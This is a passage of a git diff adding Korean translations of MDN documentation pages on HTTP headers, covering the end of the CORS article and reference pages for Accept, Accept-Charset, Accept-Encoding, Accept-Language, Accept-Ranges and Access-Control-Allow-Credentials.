+<p><a href="https://wiki.developer.mozilla.org/ko/docs/Web/HTTP/Access_control_CORS$edit#Requests_with_credentials">Credentialed requests</a> 은 위에 설명되어 있습니다.</p>
+
+<h3 id="Access-Control-Allow-Methods">Access-Control-Allow-Methods</h3>
+
+<p>{{HTTPHeader("Access-Control-Allow-Methods")}} 헤더는 리소스에 접근할 때 허용되는 메서드를 지정합니다. 이 헤더는 preflight request에 대한 응답으로 사용됩니다. 요청이 preflighted 되는 조건은 위에 설명되어 있습니다.</p>
+
+<pre><code>Access-Control-Allow-Methods: &lt;method&gt;[, &lt;method&gt;]*</code></pre>
+
+<p>이 헤더를 브라우저로 전송하는 예제를 포함하여 <a href="https://wiki.developer.mozilla.org/ko/docs/Web/HTTP/Access_control_CORS$edit#Preflighted_requests">preflight request 의 예제는</a>, 위에 나와 있습니다.</p>
+
+<h3 id="Access-Control-Allow-Headers">Access-Control-Allow-Headers</h3>
+
+<p><a href="https://wiki.developer.mozilla.org/ko/docs/Web/HTTP/Access_control_CORS$edit#Preflighted_requests">preflight request</a> 에 대한 응답으로 {{HTTPHeader("Access-Control-Allow-Headers")}} 헤더가 사용됩니다. 실제 요청시 사용할 수 있는 HTTP 헤더를 나타냅니다.</p>
+
+<pre><code>Access-Control-Allow-Headers: &lt;header-name&gt;[, &lt;header-name&gt;]*</code></pre>
+
+<h2 id="HTTP_요청_헤더">HTTP 요청 헤더</h2>
+
+<p>이 섹션에는 cross-origin 공유 기능을 사용하기 위해 클라이언트가 HTTP 요청을 발행할 때 사용할 수 있는 헤더가 나열되어 있습니다. 이 헤더는 서버를 호출할 때 설정됩니다. cross-site {{domxref("XMLHttpRequest")}} 기능을 사용하는 개발자는 프로그래밍 방식으로 cross-origin 공유 요청 헤더를 설정할 필요가 없습니다.</p>
+
+<h3 id="Origin">Origin</h3>
+
+<p>{{HTTPHeader("Origin")}} 헤더는 cross-site 접근 요청 또는 preflight request의 출처를 나타냅니다.</p>
+
+<pre><code>Origin: &lt;origin&gt;</code></pre>
+
+<p>origin 은 요청이 시작된 서버를 나타내는 URI 입니다. 경로 정보는 포함하지 않고, 오직 서버 이름만 포함합니다.</p>
+
+<div class="note"><strong>참고:</strong> <code>origin</code> 값은 <code>null</code> 또는 URI 가 올 수 있습니다.</div>
+
+<p>접근 제어 요청에는 <strong>항상</strong> {{HTTPHeader("Origin")}} 헤더가 전송됩니다.</p>
+
+<h3 id="Access-Control-Request-Method">Access-Control-Request-Method</h3>
+
+<p>{{HTTPHeader("Access-Control-Request-Method")}} 헤더는 실제 요청에서 어떤 HTTP 메서드를 사용할지 서버에게 알려주기 위해, preflight request 할 때에 사용됩니다.</p>
+
+<pre><code>Access-Control-Request-Method: &lt;method&gt;</code></pre>
+
+<p>이 사용법의 예제는 <a href="https://wiki.developer.mozilla.org/ko/docs/Web/HTTP/Access_control_CORS$edit#Preflighted_requests">위에서</a> 찾을 수 있습니다.</p>
+
+<h3 id="Access-Control-Request-Headers">Access-Control-Request-Headers</h3>
+
+<p>{{HTTPHeader("Access-Control-Request-Headers")}} 헤더는 실제 요청에서 어떤 HTTP 헤더를 사용할지 서버에게 알려주기 위해, preflight request 할 때에 사용됩니다.</p>
+
+<pre><code>Access-Control-Request-Headers: &lt;field-name&gt;[, &lt;field-name&gt;]*</code></pre>
+
+<p>이 사용법의 예제는 <a href="https://wiki.developer.mozilla.org/ko/docs/Web/HTTP/Access_control_CORS$edit#Preflighted_requests">위에서</a> 찾을 수 있습니다.</p>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('Fetch', '#cors-protocol', 'CORS')}}</td>
+   <td>{{Spec2('Fetch')}}</td>
+   <td>New definition; supplants <a href="https://www.w3.org/TR/cors/">W3C CORS</a> specification.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+<p>{{Compat("http.headers.Access-Control-Allow-Origin")}}</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li><a href="https://wiki.developer.mozilla.org/en-US/docs/Web/HTTP/CORS/Errors">CORS errors</a></li>
+ <li><a href="https://enable-cors.org/server.html">Enable CORS: I want to add CORS support to my server</a></li>
+ <li>{{domxref("XMLHttpRequest")}}</li>
+ <li><a href="https://wiki.developer.mozilla.org/en-US/docs/Web/API/Fetch_API">Fetch API</a></li>
+ <li><a href="https://httptoolkit.tech/will-it-cors">Will it CORS?</a> - an interactive CORS explainer &amp; generator</li>
+ <li><a href="https://www.telerik.com/blogs/using-cors-with-all-modern-browsers">Using CORS with All (Modern) Browsers</a></li>
+ <li><a href="https://alfilatov.com/posts/run-chrome-without-cors/">How to run Chrome browser without CORS</a></li>
+ <li><a href="https://stackoverflow.com/questions/43871637/no-access-control-allow-origin-header-is-present-on-the-requested-resource-whe/43881141#43881141">Stack Overflow answer with “how to” info for dealing with common problems</a>:
+  <ul>
+   <li>How to avoid the CORS preflight</li>
+   <li>How to use a CORS proxy to get around <em>“No Access-Control-Allow-Origin header”</em></li>
+   <li>How to fix <em>“Access-Control-Allow-Origin header must not be the wildcard”</em></li>
+  </ul>
+ </li>
+</ul>
diff --git a/files/ko/web/http/headers/accept-charset/index.html b/files/ko/web/http/headers/accept-charset/index.html
new file mode 100644
index 0000000000..9760f9ac93
--- /dev/null
+++ b/files/ko/web/http/headers/accept-charset/index.html
@@ -0,0 +1,80 @@
+---
+title: Accept-Charset
+slug: Web/HTTP/Headers/Accept-Charset
+translation_of: Web/HTTP/Headers/Accept-Charset
+---
+<div>{{HTTPSidebar}}</div>
+
+<p><strong><code>Accept-Charset</code></strong> 요청 HTTP 헤더는 클라이언트가 이해할 수 있는 캐릭터셋이 무엇인지를 알려줍니다. <a href="/en-US/docs/Web/HTTP/Content_negotiation">컨텐츠 협상</a>을 사용하여, 서버는 제안된 것 중 하나를 선택하고, 사용하며 {{HTTPHeader("Content-Type")}} 응답 헤더를 통해 선택된 캐릭터셋을 클라이언트에게 알려줍니다. 브라우저들은 각각의 컨텐츠 타입에 대한 기본 값이 일반적으로 정확하고 그것을 전송하는 것이 더 쉽게 행적을 남기게 될 가능성이 있으므로 이 헤더를 설정하지 않습니다.</p>
+
+<p>서버가 일치하는 캐릭터셋을 서브하지 못할 경우, 이론적으로 {{HTTPStatus("406")}} (Not Acceptable) 오류 코드를 회신할 수 있습니다. 그러나, 더 나은 사용자 경험을 위해, 그런 경우는 드물며 더 일반적인 방법은 이런 경우 <code>Accept-Charset</code> 헤더를 무시하는 겁니다.</p>
+
+<div class="note">
+<p>HTTP/1.1 초기 버전에서는, 기본 캐릭터셋(<code>ISO-8859-1</code>)이 정의됐었습니다. 더 이상 실제로 그렇지 않으며 이제 각각의 컨텐츠 타입이 기본 값을 가지고 있을 수도 있습니다.</p>
+</div>
+
+<table class="properties">
+ <tbody>
+  <tr>
+   <th scope="row">헤더 타입</th>
+   <td>{{Glossary("Request header")}}</td>
+  </tr>
+  <tr>
+   <th scope="row">{{Glossary("Forbidden header name")}}</th>
+   <td>yes</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="문법">문법</h2>
+
+<pre>Accept-Charset: &lt;charset&gt; // Multiple types, weighted with the {{glossary("quality values", "quality value")}} syntax: Accept-Charset: utf-8, iso-8859-1;q=0.5</pre>
+
+<h2 id="디렉티브">디렉티브</h2>
+
+<dl>
+ <dt><code>&lt;charset&gt;</code></dt>
+ <dd><code>utf-8</code> 혹은 <code>iso-8859-15</code>와 같은 캐릭터셋.</dd>
+ <dt><code>*</code></dt>
+ <dd>헤더 내 다른 곳에서 언급되지 않은 모든 캐릭터셋; 와일드카드로 사용되는<code>'*'.</code></dd>
+ <dt><code>;q=</code> (q-인자 가중치)</dt>
+ <dd><em>weight</em>라고 불리는 상대적 <a href="/en-US/docs/Glossary/Quality_values">품질 값</a>을 사용해 표현되는 선호도에 따라 대체되는 값.</dd>
+</dl>
+
+<h2 id="예제">예제</h2>
+
+<pre>Accept-Charset: iso-8859-1
+
+Accept-Charset: utf-8, iso-8859-1;q=0.5
+
+Accept-Language: utf-8, iso-8859-1;q=0.5, *;q=0.1
+</pre>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">명세</th>
+   <th scope="col">제목</th>
+  </tr>
+  <tr>
+   <td>{{RFC("7231", "Accept-Charset", "5.3.3")}}</td>
+   <td>Hypertext Transfer Protocol (HTTP/1.1): Semantics and Context</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+<p class="hidden">이 페이지의 호환성 테이블은 구조화된 데이터로부터 생성되었습니다. 이 데이터에 기여하고자 한다면, <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>을 확인하고 pull request를 보내주세요.</p>
+
+<p>{{Compat("http.headers.Accept-Charset")}}</p>
+
+<h2 id="함께_참고할_내용">함께 참고할 내용</h2>
+
+<ul>
+ <li>HTTP <a href="/en-US/docs/Web/HTTP/Content_negotiation">컨텐츠 협상</a></li>
+ <li>컨텐츠 협상 결과를 이용하는 헤더: {{HTTPHeader("Content-Type")}}</li>
+ <li>다른 유사한 헤더들: {{HTTPHeader("TE")}}, {{HTTPHeader("Accept-Encoding")}}, {{HTTPHeader("Accept-Language")}}, {{HTTPHeader("Accept")}}</li>
+</ul>
diff --git a/files/ko/web/http/headers/accept-encoding/index.html b/files/ko/web/http/headers/accept-encoding/index.html
new file mode 100644
index 0000000000..814aa2e188
--- /dev/null
+++ b/files/ko/web/http/headers/accept-encoding/index.html
@@ -0,0 +1,109 @@
+---
+title: Accept-Encoding
+slug: Web/HTTP/Headers/Accept-Encoding
+translation_of: Web/HTTP/Headers/Accept-Encoding
+---
+<div>{{HTTPSidebar}}</div>
+
+<p><strong><code>Accept-Encoding</code></strong> 요청 HTTP 헤더는, 보통 압축 알고리즘인, 클라이언트가 이해 가능한 컨텐츠 인코딩이 무엇인지를 알려줍니다. <a href="/en-US/docs/Web/HTTP/Content_negotiation">컨텐츠 협상</a>을 사용하여, 서버는 제안된 내용 중 하나를 선택하고 사용하며 {{HTTPHeader("Content-Encoding")}} 응답 헤더를 이용해 선택된 것을 클라이언트에게  알려줍니다.</p>
+
+<p>클라이언트와 서버 모두 동일한 압축 알고리즘을 지원한다고 해도, 식별 값 또한 수용 가능하다면, 서버는 응답의 본문을 압축하지 않으려고 할 수 있습니다. 두 가지 일반적인 경우가 이런 일을 초래합니다:</p>
+
+<ul>
+ <li>전송되어야 할 데이터가 이미 압축되어 있고 두번째 압축이 전송해야 할 데이터를 더 작게 만들지 못할 경우가 있습니다. 이런 경우는 이미지 포맷 압축에 해당되는 경우가 많습니다;</li>
+ <li>서버에 과부하가 걸리고 압축 요구사항에 의해 초래된 연산의 오버헤드를 감당할 수 없는 경우가 있습니다. 일반적으로, Microsoft는 서버가 자신의 연산력의 80% 이상을 사용하는 경우 압축하지 않을 것을 권고하고 있습니다.</li>
+</ul>
+
+<p>부호화(encoding)되지 않았음을 의미하는, <code>identity</code> 값이 식별에 대한 다른 명시적인 설정 값 없이 <code>identity;q=0</code> or a <code>*;q=0</code>에 의해 명시적으로 숨겨지지 않는 한, 서버는 {{HTTPStatus("406")}} <code>Acceptable</code> 오류를 회신해서는 결코 안됩니다.</p>
+
+<div class="note"><strong>Notes:</strong>
+
+<ul>
+ <li>
+  <p>IANA 레지스트리는 <a class="external" href="http://www.iana.org/assignments/http-parameters/http-parameters.xml#http-parameters-1">공식적인 컨텐츠 인코딩의 전체 목록</a>을 운영 중입니다.</p>
+ </li>
+ <li>두 개의 다른 컨텐츠 인코딩, <code>bzip</code>과 <code>bzip2</code>이 표준은 아니지만 때때로 사용되기도 합니다. 그들은 두 개의 UNIX 프로그램에 의해 사용되는 알고리즘을 구현합니다. 첫번째 알고리즘은 특허 라이선스 문제 때문에 더 이상 유지되지 않는다는 것을 알아두시기 바랍니다.</li>
+</ul>
+</div>
+
+<table class="properties">
+ <tbody>
+  <tr>
+   <th scope="row">헤더 타입</th>
+   <td>{{Glossary("Request header")}}</td>
+  </tr>
+  <tr>
+   <th scope="row">{{Glossary("Forbidden header name")}}</th>
+   <td>yes</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="문법">문법</h2>
+
+<pre class="syntaxbox">Accept-Encoding: gzip
+Accept-Encoding: compress
+Accept-Encoding: deflate
+Accept-Encoding: br
+Accept-Encoding: identity
+Accept-Encoding: *
+
+// Multiple algorithms, weighted with the {{Glossary("Quality Values", "quality value")}} syntax:
+Accept-Encoding: deflate, gzip;q=1.0, *;q=0.5</pre>
+
+<h2 id="디렉티브">디렉티브</h2>
+
+<dl>
+ <dt><code>gzip</code></dt>
+ <dd>32비트 CRC와 함께 <a class="external external-icon" href="http://en.wikipedia.org/wiki/LZ77_and_LZ78#LZ77">Lempel-Ziv coding</a> (LZ77)를 사용하는 압축 포맷.</dd>
+ <dt><code>compress</code></dt>
+ <dd><a class="external external-icon" href="http://en.wikipedia.org/wiki/LZW">Lempel-Ziv-Welch</a> (LZW) 알고리즘을 사용하는 압축 포맷.</dd>
+ <dt><code>deflate</code></dt>
+ <dd><em><a class="external external-icon" href="http://en.wikipedia.org/wiki/DEFLATE">deflate</a> </em>압축 알고리즘과 함께 <a class="external external-icon" href="http://en.wikipedia.org/wiki/Zlib">zlib</a> 구조를 사용하는 압축 포맷.</dd>
+ <dt><code>br</code></dt>
+ <dd><a class="external external-icon" href="https://en.wikipedia.org/wiki/Brotli">Brotli</a> 알고리즘을 사용하는 압축 포맷.</dd>
+ <dt><code>identity</code></dt>
+ <dd>식별 함수(압축하지 않거나 수정하지 않은 경우)를 가리킵니다. 이 값은 존재하지 않은 경우에도 항상 수용 가능하다고 여겨집니다.</dd>
+ <dt><code>*</code></dt>
+ <dd>헤더 내에 아직 나열되지 않은 컨텐츠 인코딩이라도 일치됩니다. 헤더가 존재하지 않을 경우, 기본값이 됩니다. 그것이 모든 알고리즘이 지원된다는 것을 의미하지는 않습니다; 단지 표현된 선호 대상이 없다는 것을 의미합니다.</dd>
+ <dt><code>;q=</code> (q값 가중치)</dt>
+ <dd><em>weight</em>라고 부르는 상대적인 <a href="/en-US/docs/Glossary/Quality_value">퀄리티 값</a>을 사용하여 표현한 선호도에 따라 배치된 값입니다.</dd>
+</dl>
+
+<h2 id="예제">예제</h2>
+
+<pre>Accept-Encoding: gzip
+
+Accept-Encoding: gzip, compress, br
+
+Accept-Encoding: br;q=1.0, gzip;q=0.8, *;q=0.1
+</pre>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">명세</th>
+   <th scope="col">제목</th>
+  </tr>
+  <tr>
+   <td>{{RFC("7231", "Accept-Encoding", "5.3.4")}}</td>
+   <td>Hypertext Transfer Protocol (HTTP/1.1): Semantics and Context</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+<p class="hidden">이 페이지의 호환성 테이블은 구조화 데이터로부터 생성된 것입니다. 이 데이터에 기여하고자 한다면, <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>을 확인하고 pull request를 보내주시기 바랍니다.</p>
+
+<p>{{Compat("http.headers.Accept-Encoding")}}</p>
+
+<h2 id="함께_참고할_내용">함께 참고할 내용</h2>
+
+<ul>
+ <li>HTTP <a href="/en-US/docs/Web/HTTP/Content_negotiation">컨텐츠 협상</a></li>
+ <li>컨텐츠 협상의 결과를 이용한 헤더: {{HTTPHeader("Content-Encoding")}}</li>
+ <li>다른 유사한 헤더들: {{HTTPHeader("TE")}}, {{HTTPHeader("Accept")}}, {{HTTPHeader("Accept-Charset")}}, {{HTTPHeader("Accept-Language")}}</li>
+</ul>
diff --git a/files/ko/web/http/headers/accept-language/index.html b/files/ko/web/http/headers/accept-language/index.html
new file mode 100644
index 0000000000..083d379856
--- /dev/null
+++ b/files/ko/web/http/headers/accept-language/index.html
@@ -0,0 +1,89 @@
+---
+title: Accept-Language
+slug: Web/HTTP/Headers/Accept-Language
+translation_of: Web/HTTP/Headers/Accept-Language
+---
+<div>{{HTTPSidebar}}</div>
+
+<p><strong><code>Accept-Language</code></strong> 요청 HTTP 헤더는 어떤 언어를 클라이언트가 이해할 수 있는지, 그리고 지역 설정 중 어떤 것이 더 선호되는지를 알려줍니다. (여기서 언어란 프로그래밍 언어가 아니라 영어같은 자연 언어를 의미합니다.) <a href="/en-US/docs/Web/HTTP/Content_negotiation">컨텐츠 협상</a>을 사용하여, 서버는 제안 중 하나를 선택한 뒤, 그것을 사용하고 {{HTTPHeader("Content-Language")}} 응답 헤더와 함께 선택된 내용을 클라이언트에게 알려줍니다. 브라우저는 사용자 인터페이스 언어에 따라 해당 헤더에 적절한 값을 설정하며 사용자가 사용자 인터페이스 언어를 변경한 경우조차도, 헤더의 값이 변경되는 일은 거의 없습니다(그리고 그런 일이 일어나게 되면 흔적이 남으므로 눈살을 찌프리게 됩니다).</p>
+
+<p>이 헤더는 서버가 언어를 결정할 다른 방도(명시적인 사용자 결정에 의한 구체적인 URL과 같은)를 찾지 못한 경우 사용되는 힌트입니다. 서버는 명시적인 결정을 결코 재정의해서는 안됩니다. <code>Accept-Language</code>의 내용은 대게 사용자에 의해 좌지우지되지 못합니다(다른 나라의 인터넷 카페를 방문하여 사용하는 경우처럼); 사용자는 그들의 사용자 인터페이스의 로케일과는 다른 언어로 된 페이지에 방문하고 싶어 할 수도 있습니다.</p>
+
+<p>서버가 일치되는 어떤 언어로 서브할 수 없는 경우, 이론적으로 {{HTTPStatus("406")}} (Not Acceptable) 오류 코드를 회신하게 됩니다. 그러나, 좀 더 나은 사용자 경험을 위해, 이런 경우는 드물며 그런 경우에 가장 흔한 방법은 <code>Accept-Language</code> 헤더를 무시하는 것입니다.</p>
+
+<table class="properties">
+ <tbody>
+  <tr>
+   <th scope="row">헤더 유형</th>
+   <td>{{Glossary("Request header")}}</td>
+  </tr>
+  <tr>
+   <th scope="row">{{Glossary("Forbidden header name")}}</th>
+   <td>no</td>
+  </tr>
+  <tr>
+   <th scope="row">{{Glossary("Simple header", "CORS-safelisted request-header")}}</th>
+   <td>yes</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="문법">문법</h2>
+
+<pre class="syntaxbox">Accept-Language: &lt;language&gt;
+Accept-Language: &lt;locale&gt;
+Accept-Language: *
+
+// Multiple types, weighted with the {{glossary("quality values", "quality value")}} syntax:
+Accept-Language: fr-CH, fr;q=0.9, en;q=0.8, de;q=0.7, *;q=0.5</pre>
+
+<h2 id="디렉티브">디렉티브</h2>
+
+<dl>
+ <dt><code>&lt;language&gt;</code></dt>
+ <dd>2개 혹은 3개 문자로 이루어진 문자열로 표현되는 언어</dd>
+ <dt><code>&lt;locale&gt;</code></dt>
+ <dd>전체적인 언어 태그. language 그 자체에 추가로, <code>'-'</code>뒤에 추가적인 내용을 담을 수도 있습니다. 가장 일반적인 추가 정보는 ('en-US'와 같은) 국가 변수값(variant) 혹은 사용을 위한 (<code>'sr-Lat'</code>와 같은) 알파벳 유형이 있습니다. 철자법 타입과 같은 다른 변형들(<code>'de-DE-1996'</code>)은 보통 이 헤더의 맥락에서는 사용되지 않습니다. Other variants like the type of orthography (<code>'de-DE-1996'</code>)</dd>
+ <dt><code>*</code></dt>
+ <dd>어떤 언어든지 상관없음; 와일드카드처럼 사용되는 <code>'*'</code>.</dd>
+ <dt><code>;q=</code> (q-인자 가중치)</dt>
+ <dd><em>weight</em>라고 불리는 상대적 <a href="https://developer.mozilla.org/en-US/docs/Glossary/Quality_values">품질 값</a>을 사용해 표현되는 선호도에 따라 대체되는 값.</dd>
+</dl>
+
+<h2 id="예제">예제</h2>
+
+<pre>Accept-Language: de
+
+Accept-Language: de-CH
+
+Accept-Language: en-US,en;q=0.5
+</pre>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">명세</th>
+   <th scope="col">제목</th>
+  </tr>
+  <tr>
+   <td>{{RFC("7231", "Accept-Language", "5.3.5")}}</td>
+   <td>Hypertext Transfer Protocol (HTTP/1.1): Semantics and Context</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+<p class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p>
+
+<p>{{Compat("http.headers.Accept-Language")}}</p>
+
+<h2 id="함께_참고할_내용">함께 참고할 내용</h2>
+
+<ul>
+ <li>HTTP <a href="/en-US/docs/Web/HTTP/Content_negotiation">컨텐츠 협상</a></li>
+ <li>컨텐츠 협상의 결과로 나오는 헤더: {{HTTPHeader("Content-Language")}}</li>
+ <li>다른 유사한 헤더들: {{HTTPHeader("TE")}}, {{HTTPHeader("Accept-Encoding")}}, {{HTTPHeader("Accept-Charset")}}, {{HTTPHeader("Accept")}}</li>
+</ul>
diff --git a/files/ko/web/http/headers/accept-ranges/index.html b/files/ko/web/http/headers/accept-ranges/index.html
new file mode 100644
index 0000000000..0485fb0873
--- /dev/null
+++ b/files/ko/web/http/headers/accept-ranges/index.html
@@ -0,0 +1,72 @@
+---
+title: Accept-Ranges
+slug: Web/HTTP/Headers/Accept-Ranges
+translation_of: Web/HTTP/Headers/Accept-Ranges
+---
+<div>{{HTTPSidebar}}</div>
+
+<p><code><strong>Accept-Ranges</strong></code> 응답 HTTP 헤더는 부분 요청의 지원을 알리기 위해 서버에 의해 사용되는 표식입니다. 이 필드의 값은 범위를 정의하기 위해 사용될 수 있는 단위를 가리킵니다.</p>
+
+<p><code>Accept-Ranges</code> 헤더가 존재하면, 브라우저는 처음부터 다시 다운로드를 시작하지 않고, 중단된 다운로드를 <em>재개</em>하려고 할 것입니다.</p>
+
+<table class="properties">
+ <tbody>
+  <tr>
+   <th scope="row">Header type</th>
+   <td>{{Glossary("Response header")}}</td>
+  </tr>
+  <tr>
+   <th scope="row">{{Glossary("Forbidden header name")}}</th>
+   <td>no</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="문법">문법</h2>
+
+<pre class="syntaxbox">Accept-Ranges: bytes
+Accept-Ranges: none</pre>
+
+<h2 id="디렉티브">디렉티브</h2>
+
+<dl>
+ <dt><code>none</code></dt>
+ <dd>지원되는 범위의 단위가 없음을 나타내는데, 이는 헤더가 존재하지 않는 경우와 동일하므로 거의 사용되지 않습니다. 그렇지만 IE9같은 브라우저의 경우 다운로드 매니저의 일시중지 버튼을 비활설화(disable) 혹은 제거(remove)할 때 쓰이곤 합니다.</dd>
+ <dt><code>bytes</code></dt>
+ <dd>
+ <p>범위는 바이트로 표현될 수 있습니다.</p>
+ </dd>
+</dl>
+
+<h2 id="예제">예제</h2>
+
+<pre>Accept-Ranges: bytes
+</pre>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">명세</th>
+   <th scope="col">제목</th>
+  </tr>
+  <tr>
+   <td>{{RFC("7233", "Accept-Ranges", "2.3")}}</td>
+   <td>Hypertext Transfer Protocol (HTTP/1.1): Range Requests</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+<p class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p>
+
+<p>{{Compat}}</p>
+
+<h2 id="함께_참고할_내용">함께 참고할 내용</h2>
+
+<ul>
+ <li>{{HTTPHeader("If-Range")}}</li>
+ <li>{{HTTPHeader("Ranges")}}</li>
+</ul>
diff --git a/files/ko/web/http/headers/accept/index.html b/files/ko/web/http/headers/accept/index.html
new file mode 100644
index 0000000000..80b4ee0216
--- /dev/null
+++ b/files/ko/web/http/headers/accept/index.html
@@ -0,0 +1,81 @@
+---
+title: Accept
+slug: Web/HTTP/Headers/Accept
+translation_of: Web/HTTP/Headers/Accept
+---
+<div>{{HTTPSidebar}}</div>
+
+<p><strong><code>Accept</code></strong> 요청 HTTP 헤더는 <a href="/en-US/docs/Web/HTTP/Basics_of_HTTP/MIME_types">MIME 타입</a>으로 표현되는, 클라이언트가 이해 가능한 컨텐츠 타입이 무엇인지를 알려줍니다. <a href="/en-US/docs/Web/HTTP/Content_negotiation">컨텐츠 협상</a>을 이용해, 서버는 제안 중 하나를 선택하고 사용하며 {{HTTPHeader("Content-Type")}} 응답 헤더로 클라이언트에게 선택된 타입을 알려줍니다. 브라우저는 요청이 이루어진 컨텍스트에 따라 해당 헤더에 대해 적당한 값들을 설정합니다: CSS 스타일시트를 불러오게 되면, 이미지, 비디오 혹은 스크립트를 불러올 때와 다른 값이 요청에 대해 설정됩니다.</p>
+
+<table class="properties">
+ <tbody>
+  <tr>
+   <th scope="row">Header type</th>
+   <td>{{Glossary("Request header")}}</td>
+  </tr>
+  <tr>
+   <th scope="row">{{Glossary("Forbidden header name")}}</th>
+   <td>no</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="문법">문법</h2>
+
+<pre class="syntaxbox">Accept: &lt;MIME_type&gt;/&lt;MIME_subtype&gt;
+Accept: &lt;MIME_type&gt;/*
+Accept: */*
+
+// Multiple types, weighted with the {{glossary("quality values", "quality value")}} syntax:
+Accept: text/html, application/xhtml+xml, application/xml;q=0.9, */*;q=0.8</pre>
+
+<h2 id="디렉티브">디렉티브</h2>
+
+<dl>
+ <dt><code>&lt;MIME_type&gt;/&lt;MIME_subtype&gt;</code></dt>
+ <dd><code>text/html</code>와 같이 단일의 간격한 <a href="/en-US/docs/Web/HTTP/Basics_of_HTTP/MIME_types">MIME 타입</a>.</dd>
+ <dt><code>&lt;MIME_type&gt;/*</code></dt>
+ <dd>서버 타입을 갖지 않는 MIME 타입. <code>image/*</code> 은 <code>image/png</code>, <code>image/svg</code>, <code>image/gif</code> 그리고 어떤 다른 이미지 타입들과도 일치하게 됩니다.</dd>
+ <dt><code>*/*</code></dt>
+ <dd>모든 MIME 타입</dd>
+ <dt><code>;q=</code> (q-인자 가중치)</dt>
+ <dd>사용되는 모든 값들은 <em>weight</em>라고 부르는 상대적인 <a href="/en-US/docs/Glossary/Quality_values">품질 값</a>을 사용하여 표현되는 선호 순서로 대체됩니다.</dd>
+</dl>
+
+<h2 id="예제">예제</h2>
+
+<pre>Accept: text/html
+
+Accept: image/*
+
+Accept: text/html, application/xhtml+xml, application/xml;q=0.9, */*;q=0.8
+</pre>
+
+<h2 id="사양서">사양서</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">명세</th>
+   <th scope="col">제목</th>
+  </tr>
+  <tr>
+   <td>{{RFC("7231", "Accept", "5.3.2")}}</td>
+   <td>Hypertext Transfer Protocol (HTTP/1.1): Semantics and Context</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+<p class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p>
+
+<p>{{Compat}}</p>
+
+<h2 id="함께_참고할_내용">함께 참고할 내용</h2>
+
+<ul>
+ <li>HTTP <a href="/en-US/docs/Web/HTTP/Content_negotiation">컨텐츠 협상</a></li>
+ <li>컨텐츠 현상의 결과에 대한 헤더: {{HTTPHeader("Content-Type")}}</li>
+ <li>다른 유사한 헤더들: {{HTTPHeader("TE")}}, {{HTTPHeader("Accept-Encoding")}}, {{HTTPHeader("Accept-Charset")}}, {{HTTPHeader("Accept-Language")}}</li>
+</ul>
diff --git a/files/ko/web/http/headers/access-control-allow-credentials/index.html b/files/ko/web/http/headers/access-control-allow-credentials/index.html
new file mode 100644
index 0000000000..083439f215
--- /dev/null
+++ b/files/ko/web/http/headers/access-control-allow-credentials/index.html
@@ -0,0 +1,90 @@
+---
+title: Access-Control-Allow-Credentials
+slug: Web/HTTP/Headers/Access-Control-Allow-Credentials
+translation_of: Web/HTTP/Headers/Access-Control-Allow-Credentials
+---
+<div>{{HTTPSidebar}}</div>
+
+<p>응답헤더 <strong><code>Access-Control-Allow-Credentials</code></strong> 는  요청의 자격증명 모드({{domxref("Request.credentials")}})가 "<code>include</code>" 일때,   브라우저들이 응답을 프로트엔드 자바스트립트 코드에 노출할지에 대해 알려줍니다.</p>
+
+<p> 요청의 자격증명 모드가  ({{domxref("Request.credentials")}})가  "<code>include</code>" 일 때,  <code>Access-Control-Allow-Credentials</code> 값이 <code>true</code> 일 경우에만 브라우저들은 프로트엔드 자바스트립트에 응답을 노출 할 것입니다.</p>
+
+<p>자격증명들은 쿠키, authorization 헤더들 또는 TLS 클라이언트 인증서입니다.</p>
+
+<p>사전 요청의 응답으로 사용할 때, 실제 요청에서 자격증명을 이용할 수 있는지에 대해서 알려줍니다. 심플한 {{HTTPMethod("GET")}} 요청은 사전 요청하지 않으므로, 자격증명과 함께 리소스에 대한 요청이 만들어 지고,  응답에서 리소스와 함께 이 헤더가 없다면 브라우저는 응답을 무시하고 웹 콘텐츠가 전달 되지 않습니다.</p>
+
